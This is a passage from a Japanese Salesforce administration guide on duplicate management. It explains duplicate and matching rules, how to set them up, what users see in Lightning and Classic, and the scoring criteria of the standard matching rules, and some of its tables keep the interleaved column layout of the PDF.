ます。ただし、編集したレコードにルールが実行されるのは、関連付けられて
いる一致ルールに編集している項目が含まれる場合のみです。
法人取引先、取引先責任者、リードには、標準重複ルールがデフォルトで設定
されて有効になります。個人取引先に標準重複ルールを使用するには、[設定] で
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個人取引先を有効にしてから、ルールを有効化します。標準重複ルールは、最善の一致候補を返す標準一致
ルールと連携するよう設計されているため、使用することをお勧めします。標準重複ルールはいつでも無効に
できます。標準重複ルールは編集できませんが、カスタム重複ルールを作成できます。

例: 重複ルールを使用して、重複候補として識別されたレコードの保存をブロックしたり、ひとまず保存
を許可したりできます。ブロックオプションと許可オプションのどちらにもアラートが含まれ、レコー
ドを保存できない理由と必要な操作が示されます。許可オプションには、重複レコードに関するレポー
トを作成する機能が含まれています。

関連トピック:

重複ルールの作成または編集
Salesforce での重複レコードの管理

一致ルール

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一致ルールは、Salesforce 内で重複レコードを特定するために使用します。
動画:  Understanding Matching Rules (一致ルールについて) をご覧ください。
一致ルールは、等式に組み込まれる個々の項目で構成されます。各項目には、
項目の比較方法や、特定の項目で一致とみなされるために満たす必要がある条
件をルールに示す、一致条件が含まれています。
一致ルールを有効化すると、1 つ以上の一致キーが自動的に作成され、既存のレ
コードに適用されます (インデックス付けとも呼ばれるこの処理によりパフォー
マンスが向上し、一致ルールでは同じ一致キーを持つ重複レコードのみが検索
されるため、より適切な一致候補のセットが返されます)。
一致ルールを実行すると、そのレコードと既存のレコードの一致キーが比較さ
れます。次に、レコードが同じ一致キーを共有する場合は、一致アルゴリズム
を使用して項目が比較され、項目がどの程度一致し、最終的にはレコードが一
致するかどうかが判断されます。2 つのレコードが同じ一致キーを共有しない場合は重複とみなされず、一致
アルゴリズムは適用されません。

例:  2 つのレコードの [メール] と [電話] の値が完全に一致した場合に、重複候補とみなすような単純な
一致ルールがあります。または、さまざまな「あいまい」一致メソッドを使用して、項目を比較できま
す。

Salesforce内で重複するレコードを作成できるかどうか、およびそのタイミングを管理するには、重複ルールで
一致ルールを使用します。
標準一致ルールを使用したり、独自のカスタム一致ルールを作成したりできます。標準一致ルールは、最善の
一致候補を返すように入念に設計されているため、これを使用することをお勧めします。

関連トピック:

カスタム一致ルールの作成または編集
一致ルールの参照
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重複レコードセット

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

[重複レコードセット] タブをクリックして、重複セットにグループ化された重複
レコードのリストをすばやく確認します。そのためには、重複ルールを含むレ
ポートアクションを組織で使用する必要があります。
レポートアクションを含む重複ルールによって重複と識別されたレコードをユー
ザが保存すると、次のようになります。
• 保存したレコードとそのすべての重複 (最大 100 件) が新しいまたは既存の重

複レコードセットに割り当てられる。
• 保存したレコードとその各重複が重複レコードセット内の重複レコード項目

としてリストされる。
• 重複ルールでオブジェクト間の重複を検出するように設定されている場合

は、すべてのクロスオブジェクト重複が重複レコードセット内の重複レコー
ド項目としてリストされます。

重複レコードセットと重複レコード項目は、次の操作で使用できます。
• カスタムレポートタイプを作成する
• カスタム項目を作成する
• 入力規則、トリガ、およびワークフロールールを作成する
• それぞれのページレイアウトに表示できる項目を変更する

関連トピック:

重複管理の使用に関する考慮事項

重複エラーログ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織で Data.com 重複管理を使用している場合、重複ルールまたは一致ルールの
正常な実行を妨げているシステムエラーを参照できます。
[設定] から、[クイック検索] ボックスに「重複エラーログ」と入力し、[重複エ
ラーログ]を選択します。ここでは、発生したエラー (存在する場合) を確認でき
ます。エラーログは 90 日後に削除されます。

例: ログにエラーが生成される例を示します。
• あいまい一致に使用されるマッチングエンジンが一時的に使用できなく

なっており、あいまい一致メソッドが含まれる一致ルールが実行されな
い。

• システムで重複レコードセットを作成できないため、重複ルールのレ
ポートアクションが失敗する。
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重複管理のユーザへの影響

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce で重複管理機能を設定して有効にした場合、重複候補として識別され
たレコードにデータを入力するか、そのレコードを保存しようとすると、次の
ように表示されます。

Lightning Experience での重複管理のユーザへの影響
Lightning Experienceでは、サポート対象オブジェクトで重複ルールを有効にす
ると、2 つの状況で重複が検出されます。1 つ目は、ユーザがレコードの作成
または編集を行っているとき、レコードを保存する前に、Salesforce によって
重複が検出されます。2 つ目は、ユーザが重複しているレコードを表示する
とき、Salesforce によってアラートおよび重複へのリンクが表示されます。権
限があるユーザは重複をマージできます。
Salesforce Classic での重複管理のユーザへの影響
重複ルールを作成して有効化した場合、重複候補として識別されたレコードをユーザが保存しようとする
と、処理方法に関する説明がユーザに表示されます。Salesforce Classic での表示内容は、次のようになりま
す。

関連トピック:

Salesforce での重複レコードの管理

Lightning Experience での重複管理のユーザへの影響
Lightning Experience では、サポート対象オブジェクトで重複ルールを有効にすると、2 つの状況で重複が検出さ
れます。1 つ目は、ユーザがレコードの作成または編集を行っているとき、レコードを保存する前に、Salesforce

によって重複が検出されます。2 つ目は、ユーザが重複しているレコードを表示するとき、Salesforce によって
アラートおよび重複へのリンクが表示されます。権限があるユーザは重複をマージできます。

Lightning Experience での重複レコード作成の防止
ユーザがレコードの作成時か編集時に重複レコードを作成することを防止するには、法人取引先、取引先
責任者、またはリードの重複ルールを有効にします。
Lightning Experience での既存の重複レコードの表示とマージ
営業チームが顧客と良好な関係を維持し、取引先と取引先責任者の整理が行き届くようにします。既存の
重複レコードを表示することで、営業担当は顧客との関係を損なわずに、データも整理が行き届きます。
権限があるユーザは、Lightning Experience または Salesforce Classic を使用してレコードをマージできます。
Lightning Experience では、取引先、取引先責任者、およびリードのインターフェースが一貫しているため、
全員が重複管理を簡単に行えます。
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Lightning Experience での重複レコード作成の防止

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザがレコードの作成時か編集時に重複レコードを作成することを防止する
には、法人取引先、取引先責任者、またはリードの重複ルールを有効にします。
重複ルールを有効にすると、ユーザがレコードのデータの入力または編集をし
たときに重複ルールが実行されます。重複が検出されると、重複ルールに関連
付けられたカスタマイズ可能なアラートではなく、一般アラートが表示されま
す。アラートには、潜在的な重複の数が表示されます。重複ルールのレコード
レベルセキュリティが [共有ルールをスキップ] に設定されている場合も、この
重複候補の数にはユーザにアクセス権のあるレコードのみが含まれます。アラー
トをクリックすると、一致する Salesforce レコードを参照できます。

ユーザが、重複候補として識別されたレコードを保存しようとすると、次のように表示されます。

• すべての重複ルールには、システムで生成されるメッセージ (1) が含まれており、検出された重複候補の数
をユーザに通知します。重複ルールのレコードレベルセキュリティが [共有ルールをスキップ]に設定され
ている場合も、重複候補の数にはユーザにアクセス権のあるレコードのみが含まれます。[共有ルールをス
キップ] オプションを指定すると、ユーザのアクセス権に関係なく、関連付けられた一致ルールですべて
のレコードが比較されます。ユーザに重複候補として識別されたどのレコードへのアクセス権もない場合、
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このメッセージには検出された重複があることが示されますが、重複の数は含まれません。重複候補のリ
ストには、ユーザにアクセス権のあるレコードのみが表示されます。

• 重複ルールにアラートが含まれている場合、システムで生成されるメッセージの上に表示されます (2)。
• レコードが重複していてもユーザがそれを保存することが重複ルールによって許可されている場合、ユー

ザはこのダイアログを閉じてレコードを保存できます。重複ルールで重複候補のレコードを保存すること
が許可されていない場合、レコードに必要な変更を行って重複候補のフラグがなくなるまでレコードは保
存されません。

• 重複の可能性のリスト (3) には、ユーザがアクセスできるレコードのみが表示されます (関連付けられた一
致ルールで比較された最初の 7 項目まで)。レコードは更新順に表示されます。リストのいずれかのレコー
ドに直接移動するには、そのリンクをクリックします。

関連トピック:

Salesforce での重複レコードの管理

Lightning Experience での既存の重複レコードの表示とマージ

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

営業チームが顧客と良好な関係を維持し、取引先と取引先責任者の整理が行き
届くようにします。既存の重複レコードを表示することで、営業担当は顧客と
の関係を損なわずに、データも整理が行き届きます。権限があるユーザは、
Lightning Experienceまたは Salesforce Classicを使用してレコードをマージできます。
Lightning Experienceでは、取引先、取引先責任者、およびリードのインターフェー
スが一貫しているため、全員が重複管理を簡単に行えます。
重複ルールと一致ルールを有効にすると、レコードに潜在的な重複カード、一
時的なトーストメッセージ、またはその両方を表示できます。重複カードとトー
ストメッセージをレコードホームページに追加します。

1. [設定] で、[クイック検索]ボックスに「アプリケーションビルダー」と入力し、[Lightning アプリケーション
ビルダー] をクリックします。

2. [取引先] ページまたは [取引先責任者] ページで、[潜在的な重複] コンポーネントを追加します。
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3. 重複アラートの表示オプションを選択します。

営業担当が必要な情報は、重複のリスト自体のみである場合もありますが、重複をマージする権限を持つ営業
担当は、3 つまでのレコードを選択してマージできます。

849

重複管理の概念Salesforce 組織の設定および管理



営業担当は、マージする前に各項目の正しい値を選択できます。

関連トピック:

重複する取引先のマージに関するガイドラインおよび考慮事項
重複する取引先責任者のマージに関する考慮事項

Salesforce Classic での重複管理のユーザへの影響

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

重複ルールを作成して有効化した場合、重複候補として識別されたレコードを
ユーザが保存しようとすると、処理方法に関する説明がユーザに表示されます。
Salesforce Classic での表示内容は、次のようになります。
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• すべての重複ルールには、システムで生成されるメッセージ (1) が含まれており、検出された重複候補の数
をユーザに通知します。重複ルールのレコードレベルセキュリティが [共有ルールをスキップ]に設定され
ている場合も、重複候補の数にはユーザにアクセス権のあるレコードのみが含まれます。[共有ルールをス
キップ] オプションを指定すると、ユーザのアクセス権に関係なく、関連付けられた一致ルールですべて
のレコードが比較されます。ユーザに重複候補として識別されたどのレコードへのアクセス権もない場合、
このメッセージには検出された重複があることが示されますが、重複の数は含まれません。重複候補のリ
ストには、ユーザにアクセス権のあるレコードのみが表示されます。

• 重複ルールにアラートが含まれている場合、システムで生成されるメッセージの下に表示されます (2)。
• 重複ルールで重複候補のレコードを保存することが許可されている場合、[保存 (アラートを無視)]ボタンが

表示されます (3)。重複ルールで重複候補のレコードを保存することが許可されていない場合、[保存] ボタ
ンは表示されますが、レコードに必要な変更を行って重複候補のフラグがなくなるまでレコードは正常に
保存されません。

• 重複候補のリスト (4) には、ユーザにアクセス権のあるレコードのみが表示されます。このリストには、
ユーザにアクセス権のある項目 (関連付けられた一致ルールで比較された最初の数項目 (最大 7 項目)) のみが
表示されます。このリストには最大 5 件のレコードが表示されますが、検出された重複が 5 件を超える場
合、[すべて表示 >>] をクリックすれば、レコードの完全なリスト (最大 100 件) を表示できます。レコード
は、最後の変更された順序で表示されます。リストのいずれかのレコードに直接移動するには、そのリン
クをクリックします。

• 強調表示された項目 (5) は、関連付けられた一致ルールで比較されて一致していると判断された項目です。
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Salesforce での重複管理の設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

重複管理を組織で使用するには、異なる 2 つのルール、重複ルールと一致ルー
ルが必要です。重複ルールでは、重複が識別されたときにどのようなアクショ
ンを実行するのかを Salesforce に伝えます。一致ルールでは、重複候補を識別す
るためのレコードの相互比較方法を定義します。必要に応じて、重複レコード
を表示するオプションを調整してください。重複レコードのレポートを生成で
きます。

重複ルールの作成または編集
重複ルールを使用して、ユーザが重複するレコードを保存しようとしたとき
の処理を定義します。
カスタム一致ルールの作成または編集
一致ルールを使用して、2 件のレコードを比較して重複として識別する方法
を決定します。
重複レコードレポートのカスタムレポートタイプの作成
レポートアクションを使用して、重複ルールを調整します。重複レコードレポートでは、データ品質を分
析し、重複ルールの動作状況を確認できます。提供される例を使用して、適切なカスタムレポートタイプ
を設定してください。
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重複ルールの作成または編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

重複ルールを作成、編
集、または削除する
• 「アプリケーションの

カスタマイズ」

重複ルールを有効化およ
び無効化する
• 「アプリケーションの

カスタマイズ」

重複ルールを表示する
• 「設定・定義を参照す

る」

重複ルールを使用して、ユーザが重複するレコードを保存しようとしたときの
処理を定義します。
重複ルールで検出される可能性がある重複のリストをユーザに表示するには、
ルールで定義されるオブジェクトに対する「参照」権限がユーザに必要です。
1. [設定] から、[クイック検索] ボックスに「重複ルール」と入力し、[重複ルー

ル] を選択します。
2. 既存のルールを編集するには、ルール名をクリックして、[編集] をクリック

します。新しいルールを作成するには、[新規ルール] をクリックし、ルール
を適用するオブジェクトを選択します。

3. ルールの名前、説明、レコードレベルのセキュリティ設定など、ルールの詳
細を入力します。

4. ユーザが重複するレコードを保存しようとすると実行されるアクションを選
択します。
アクションにユーザへのアラートが含まれている場合は、デフォルトのテキ
ストが用意されており、カスタマイズできます。許可アクションにのみ、レ
ポートオプションが含まれています。

5. [一致ルール] セクションで、まず、レコードと比較するオブジェクトを選択
します。次に、レコードをどのように重複と識別するかを決定する一致ルー
ルを選択します。
リストには、選択されたオブジェクトに関する使用可能な一致ルールがすべ
て含まれます。必要な一致ルールがリストにない場合は、一致ルールの新規
作成 を選択します。

ヒント: 標準一致ルールは、最善の一致候補を返すように入念に設計さ
れているため、これを使用することをお勧めします。使用する場合は、
必ず有効化してください。
一方、新しい一致ルールを作成すると決定した場合は、最初に重複ルー
ルを作成することをお勧めします。その後で、新しい一致ルールを作成
して有効化します。重複ルールに戻ると、重複ルールに一致ルールがま
だ関連付けられていなければ、新しく作成した一致ルールが自動的に関
連付けられます。

6. 必要に応じて、一致ルールごとに項目の対応付けを選択したことを確認します。
一致ルールで 2 つの異なるオブジェクトからレコードを比較するか、カスタム項目を使用する場合は、次
の手順を実行します。
• 1 つ目のオブジェクトの項目を 2 つ目のオブジェクトの項目とどのように比較するかを決定する必要が

あります。たとえば、[会社のメール] というカスタム項目を、[メール] という標準項目に対応付ける
ことができます。

• 2 つのテキスト項目の最大長が異なる場合、比較の前にデータが切り捨てられる場合があります。
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7. 特定の条件が満たされた場合にのみ重複ルールを実行する場合は、その条件を指定します。
たとえば、特定のプロファイルまたはロールを持つユーザによってレコードが入力された場合、またはレ
コードに特定の国または都道府県が含まれる場合にのみルールが実行されるように指示する条件を追加で
きます。

8. ルールを保存します。
9. ルールを有効にします。

有効化を正常に行うには、関連付けられたすべての一致ルールが有効である必要があります。
10. 特定のオブジェクトに対して有効な重複ルールが複数ある場合、ルールの処理順序を調整することもでき

ます。ルールを並び替えるには、ルールの詳細ページから [並び替え] をクリックします。

ヒント: 最初の重複ルールで特定のレコードの一致が検出された場合、そのレコードは後続の重複ルー
ルでは評価されません。そのため、ブロックアクションを含むルールが許可アクションを含むルール
よりも前に実行されるように重複ルールの順序を設定する必要があります。

関連トピック:

重複ルール
一致ルール
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カスタム一致ルールの作成または編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

一致ルールを作成、編
集、または削除する
• 「アプリケーションの

カスタマイズ」

一致ルールを有効化およ
び無効化する
• 「アプリケーションの

カスタマイズ」

一致ルールを表示する
• 「設定・定義を参照す

る」

一致ルールを使用して、2 件のレコードを比較して重複として識別する方法を決
定します。
1. [設定] から、[クイック検索] ボックスに「一致ルール」と入力し、[一致ルー

ル] を選択します。
2. 既存の一致ルールを編集する場合は、ルールが無効であることを確認しま

す。
3. [新規ルール] または編集する既存の一致ルールの横にある [編集] をクリック

します。
4. この一致ルールを適用するオブジェクトを選択します。
5. ルールの名前と説明を入力します。
6. 一致条件を入力します。

一致条件には、どの項目をどのように比較するかを定義します。項目を (合
計 10 個まで) 追加するには、[検索条件ロジックを追加...] をクリックし、[行
を追加] をクリックします。

7. 一致等式を調整する必要がある場合は、[検索条件ロジックを追加...]をクリッ
クします。たとえばここで、手動で AND 式を OR 式に変更できます。

8. ルールを保存します。
9. ルールを有効にします。

有効化プロセスには時間がかかることがあるため、処理が完了して一致ルー
ルが使用できる状態になるとメールが送信されます。

有効化された一致ルールは、他の Data.com 重複管理ツールと一緒に使用できま
す。たとえば、一致ルールを重複ルールと一緒に使用して、一致ルールで重複
と識別されたレコードをユーザが保存しようとしたら特定のアクションを実行
するように Salesforce に指示できます。

関連トピック:

一致ルール
一致ルールの参照
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重複レコードレポートのカスタムレポートタイプの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

レポートアクションを使用して、重複ルールを調整します。重複レコードレポー
トでは、データ品質を分析し、重複ルールの動作状況を確認できます。提供さ
れる例を使用して、適切なカスタムレポートタイプを設定してください。
これらのレポートには、次のレコードのみが表示されます。
• レポートアクションを含む重複ルールによって重複と識別されたレコード。
• 重複レコードセットオブジェクトに手動で追加されたレコード。
1. 各カスタムレポートタイプおよびカスタムレポートタイプの作成と管理の一

般的な手順を把握します。
2. 適切なオブジェクトリレーションを持つカスタムレポートタイプを作成し、

必要に応じて設定します。
開始にあたっての参考として、カスタムレポートタイプの例をいくつか示し
ます。

その他のス
テップ

BA (主オブジェ
クト)

使用例レポートタイ
プ

個人取引先を
使用してお
り、法人取引
先と区別する
場合は、取引
先の重複のた
めに項目レイ

重複レコード
項目

取引先重複ルールで
検出された重
複取引先のレ
ポートを作成
する。

取引先の重複

アウトのプロ
パティで [個
人取引先] 項
目を追加す
る。

重複レコード
項目

取引先責任者重複ルールで
検出された重
複取引先責任

取引先責任者
の重複

者のレポート
を作成する。

重複レコード
項目

リード重複ルールで
検出された重
複リードのレ

リードの重複

ポートを作成
する。
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その他のステップBA (主オブジェクト)使用例レポートタイプ

重複レコード項目重複レコードセット重複ルールの効果を
表示するレポートを
作成する。

すべての重複

3. ユーザが使用できるようにするレポートタイプをリリースします。
4. ユーザがこれらのカスタムレポートタイプを使用してレポートを作成できることをユーザに知らせます。

関連トピック:

重複レコードセット
個人取引先の有効化

一致ルールの参照
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ここでは、一致ルールのしくみとその使用方法について説明します。

標準一致ルール
重複ルールなどの Data.com重複管理ツールで使用できる標準一致ルールがい
くつかあります。各標準一致ルールは、法人取引先、個人取引先、取引先責
任者、リードの最善の一致候補を返すように入念に設計されています。個人
取引先の標準一致ルールを使用するには、[設定] で個人取引先を有効にして
個人取引先の標準一致ルールと標準重複ルールを有効化します。標準一致
ルールは編集できませんが、カスタム一致ルールを作成できます。
一致ルールの一致条件
一致ルールでは、条件を使用して、新規レコードまたは編集済みレコードの
項目が既存のレコードの同じ項目とどの程度一致し、最終的には 2 つのレ
コードが重複するかどうかが判断されます。カスタム一致ルールを作成する場合は、特定の条件を定義す
る必要があります。標準一致ルールの場合、条件はすでに定義されています。
一致ルールで使用される一致メソッド
一致メソッドは、1 つのレコードの特定の項目を別のレコードの同じ項目と比較する方法を指定する、一致
ルールの一致条件の一部です。各一致メソッドは、正規化条件、一致キー定義、一致アルゴリズム、およ
び他の条件でさらに定義されます。
一致メソッドで使用される一致アルゴリズム
一致メソッドとその対応する一致アルゴリズムは、一致ルールの一致条件の一部です。この両方により、
1 つのレコードの特定の項目を別のレコードの同じ項目と比較する方法、および両方の項目が一致したとみ
なされるかどうかが決まります。
一致ルールで使用される一致キー
一致キーにより、一致ルールの有効性が向上します。一致キーを使用して標準一致ルールの一致キー値が
作成される方法を確認してください。一致キーを理解すると、重複検出のしくみを理解するのに役立ちま
す。
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一致ルールの一致キーの正規化条件
一致キー値の作成プロセスの一環として、一致ルール項目値が正規化されます。項目値が正規化される方
法は、その項目の一致メソッドなど、一致ルールで指定されたいくつかの要因によって異なります。さら
に、標準一致ルールで使用される一部の使用頻度の高い項目は、重複検出を最適化するために特別に正規
化されます。
一致の例
この一致ルールの実例では、レコードが比較され重複として評価される方法が示されています。

標準一致ルール

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

重複ルールなどの Data.com 重複管理ツールで使用できる標準一致ルールがいく
つかあります。各標準一致ルールは、法人取引先、個人取引先、取引先責任者、
リードの最善の一致候補を返すように入念に設計されています。個人取引先の
標準一致ルールを使用するには、[設定] で個人取引先を有効にして個人取引先の
標準一致ルールと標準重複ルールを有効化します。標準一致ルールは編集でき
ませんが、カスタム一致ルールを作成できます。

取引先の標準一致ルール
すべての一致ルールと同様に、取引先レコードに使用される標準一致ルール
は、等式に組み込まれる項目で構成されます。各項目には、項目が既存のレ
コードの同じ項目とどの程度一致し、最終的にはレコードが一致すると言え
るかどうかを判断するためにルールで使用する一致条件が含まれています。
個人取引先の標準一致ルール
個人取引先レコードに使用される標準一致ルールは、等式に組み込まれる項目で構成されます。各項目に
は、項目が既存のレコードの同じ項目とどの程度一致し、最終的にはレコードが一致するかどうかを判断
するためにルールで使用する一致条件も含まれています。個人取引先の一致ルールを使用するには、[設定]

で個人取引先を有効にして個人取引先の標準一致ルールと標準重複ルールを有効化します。
取引先責任者の標準一致ルール
すべての一致ルールと同様に、取引先責任者レコードとリードレコードに使用される標準一致ルールは、
等式に組み込まれる項目で構成されます。各項目には、項目が既存のレコードの同じ項目とどの程度一致
し、最終的にはレコードが一致するかどうかを判断するためにルールで使用する一致条件も含まれていま
す。

取引先の標準一致ルール
すべての一致ルールと同様に、取引先レコードに使用される標準一致ルールは、等式に組み込まれる項目で構
成されます。各項目には、項目が既存のレコードの同じ項目とどの程度一致し、最終的にはレコードが一致す
ると言えるかどうかを判断するためにルールで使用する一致条件が含まれています。

一致等式

重要: 取引先の標準一致ルールから一致を正確に返すため、新規レコードまたは編集済みレコードの [取
引先名] 項目と、[市区郡] または [郵便番号] 項目に値が含まれている必要があります。
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一致等式ルール名

(Account Name AND Billing Street)

OR (Account Name AND City)

取引先の標準一致ルール

OR (Account Name AND ZIP)

OR (Account Name AND Phone)

OR (Website  AND Phone)

OR (Website  AND Billing Street)

一致条件
各一致条件の定義については、「一致ルールの一致条件」 (ページ 867)を参照してください。

特別な処理空白項目しきい
値

スコアメ
ソッド

一致アルゴ
リズム

項目

項目を比較する前に、Incや Corpなどの単語を削
除します。また、会社名も正規化されます。たとえ

一致しな
い

70最大Acronym

Edit Distance

取引先名

ば、1st National Bank は First National

Bank に正規化されます。
Exact

電話番号はセクションに分割され、セクション単位
で比較されます。各セクションには、独自の一致メ

空白項目
が無視さ

80加重平均Exact電話

ソッドと一致スコアがあります。セクションのスコれる市外
アを加重して、項目に 1 つのスコアが求められま
す。この処理は、北米のデータに最適です。

局番を除
き、すべ
てのセク • 国際コード (完全、項目の一致スコアの 10%)
ションで

• 市外局番 (完全、項目の一致スコアの 50%)一致しな
い • 次の 3 桁 (完全、項目の一致スコアの 30%)

• 最後の 4 桁 (完全、項目の一致スコアの 10%)

たとえば、「1-415-555-1234」および
「1-415-555-5678」という電話番号を比較すると
します。
最後の 4 桁を除きすべてのセクションが一致するた
め項目の一致スコアは 90 となり、しきい値の 80 を
超えているため一致とみなされます。

住所はセクションに分割され、セクション単位で比
較されます。各セクションには、独自の一致メソッ

一致しな
い

80加重平均Edit Distance

Exact

町名・番
地(請求
先) ドと一致スコアがあります。セクションのスコアを

加重して、項目に 1 つのスコアが求められます。こ
の処理は、北米のデータに最適です。
• 番地 (完全、項目の一致スコアの 20%)
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特別な処理空白項目しきい
値

スコアメ
ソッド

一致アルゴ
リズム

項目

• 町名 (編集距離、項目の一致スコアの 50%)

• 町名・番地のサフィックス (完全、項目の一致ス
コアの 15%)

• 部屋番号 (完全、項目の一致スコアの 15%)

たとえば、「123 Market Street, Suite 100」
および「123 Market Drive, Suite 300」とい
う 2 つの請求先町名・番地を比較するとします。
町名と番地のみが一致するため項目の一致スコアは
70 となり、しきい値の 80 を下回っているため一致
とみなされません。

郵便番号はセクションに分割され、セクション単位
で比較されます。各セクションには、独自の一致メ

一致しな
い

80加重平均ExactZIP

ソッドと一致スコアがあります。セクションのスコ
アを加重して、項目に 1 つのスコアが求められま
す。
• 最初の 5 桁 (完全、項目の一致スコアの 90%)

• 次の 4 桁 (完全、項目の一致スコアの 10%)

たとえば、「94104–1001」および「94104」とい
う 2 つの郵便番号を比較するとします。
最初の 5 桁のみが一致するため項目の一致スコアは
90 となり、しきい値の 80 を超えているため一致と
みなされます。

一致しな
い

85最大Edit Distance

Exact

市区郡

プレフィックス「http://」が Web サイトのドメイン
に追加されます。たとえば、項目値

一致しな
い

100最大ExactWeb サイ
ト

www.salesforce.com は、照合のために
http://www.salesforce.com になります。
「http://」プレフィックスがない Web サイトが含ま
れる取引先レコードを照合すると、レコードが重複
と識別されます。

関連トピック:

一致ルールの参照
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個人取引先の標準一致ルール
個人取引先レコードに使用される標準一致ルールは、等式に組み込まれる項目で構成されます。各項目には、
項目が既存のレコードの同じ項目とどの程度一致し、最終的にはレコードが一致するかどうかを判断するため
にルールで使用する一致条件も含まれています。個人取引先の一致ルールを使用するには、[設定] で個人取引
先を有効にして個人取引先の標準一致ルールと標準重複ルールを有効化します。

一致等式

一致等式ルール名

(First Name  AND Last Name  AND Email)

OR (First Name  AND Last Name  AND Mailing
Street  AND (City  OR ZIP))

個人取引先の標準一致ルール

メモ: 最初の 3 つの等式のしきい値は 85、4 番目
の等式のしきい値は 75 です。

OR (First Name  AND Last Name  AND Phone  )

OR (First Name  AND Last Name  AND Phone  AND
(City  OR ZIP) AND Mailing Street  AND Phone)

一致条件
各一致条件の定義については、「一致ルールの一致条件」 (ページ 867)を参照してください。

特別な処理空白項目しきい
値

スコアメ
ソッド

一致アルゴリ
ズム

リード
の項目

取引先
責任者
の項目

レコードの [名] 項目と [姓] 項目にど
ちらも値が含まれている場合、データ入

一致しない
(項目のグ
ルーピング

85 と 75最大完全
Initials

Jaro-Winkler
Distance

名名

力ミスの可能性を考慮してこれらの値が
転置されます。
たとえば、名が「George」で姓が
「Michael」の場合、名としての

にメールが
含まれてい
る場合、空
白項目は無
視される)

Metaphone 3

Name Variant
「Michael」と姓としての「George」
も一致ルールで評価されます。

レコードの [名] 項目と [姓] 項目にど
ちらも値が含まれている場合、データ入

一致しない
(項目のグ
ルーピング

90 と 75最大完全
Keyboard
Distance

姓姓

力ミスの可能性を考慮してこれらの値が
転置されます。
たとえば、名が「George」で姓が
「Michael」の場合、名としての

にメールが
含まれてい
る場合、空
白項目は無
視される)

Metaphone 3

「Michael」と姓としての「George」
も一致ルールで評価されます。
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特別な処理空白項目しきい
値

スコアメ
ソッド

一致アルゴリ
ズム

リード
の項目

取引先
責任者
の項目

一致しない50最大Acronym

完全
TitleTitle

Kullback-Liebler
Distance

一致しない70最大Acronym

Edit Distance

会社名Account
Name

完全

一致しない100最大完全メールメール

電話番号はセクションに分割され、セク
ション単位で比較されます。各セクショ

空白項目が
無視される

80加重平均完全電話電話

ンには、独自の一致メソッドと一致スコ市外局番を
アがあります。セクションのスコアを加除き、すべ
重して、項目に 1 つのスコアが求められてのセク
ます。この処理は、北米のデータに最適
です。

ションで一
致しない

• 国際コード (完全、項目の一致スコア
の 10%)

• 市外局番 (完全、項目の一致スコアの
50%)

• 次の 3 桁 (完全、項目の一致スコアの
30%)

• 最後の 4 桁 (完全、項目の一致スコア
の 10%)

たとえば、「1-415-555-1234」および
「1-415-555-5678」という電話番号を
比較するとします。
最後の 4 桁を除き、すべてのセクション
が完全に一致します。項目の一致スコア
は 90 となり、しきい値の 80 を超えてい
るため一致とみなされます。

住所はセクションに分割され、セクショ
ン単位で比較されます。各セクションに

一致しない80加重平均Edit Distance

完全
StreetMailing

Street

は、独自の一致メソッドと一致スコアが
あります。セクションのスコアを加重し
て、項目に 1 つのスコアが求められま
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特別な処理空白項目しきい
値

スコアメ
ソッド

一致アルゴリ
ズム

リード
の項目

取引先
責任者
の項目

す。この処理は、北米のデータに最適で
す。
• 町名 (編集距離、項目の一致スコアの

50%)

• 番地 (完全、項目の一致スコアの 20%)

• 町名・番地のサフィックス (完全、項
目の一致スコアの 15%)

• 部屋番号 (完全、項目の一致スコアの
15%)

たとえば、「123 Market Street,

Suite 100」および「123 Market

Drive, Suite 300」という 2 つの住所
を比較するとします。
番地と町名のみが一致します。項目の一
致スコアは 70 となり、しきい値の 80 を
下回っているため一致とみなされませ
ん。

郵便番号はセクションに分割され、セク
ション単位で比較されます。各セクショ

80加重平均完全ZIP/Postal
Code

Mailing
ZIP/Postal
Code ンには、独自の一致メソッドと一致スコ

アがあります。セクションのスコアを加
重して、項目に 1 つのスコアが求められ
ます。
• 最初の 5 桁 (完全、項目の一致スコア

の 90%)

• 次の 4 桁 (完全、項目の一致スコアの
10%)

一致しない85最大Edit Distance

完全
市区郡Mailing

City

関連トピック:

個人取引先の有効化
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取引先責任者の標準一致ルール
すべての一致ルールと同様に、取引先責任者レコードとリードレコードに使用される標準一致ルールは、等式
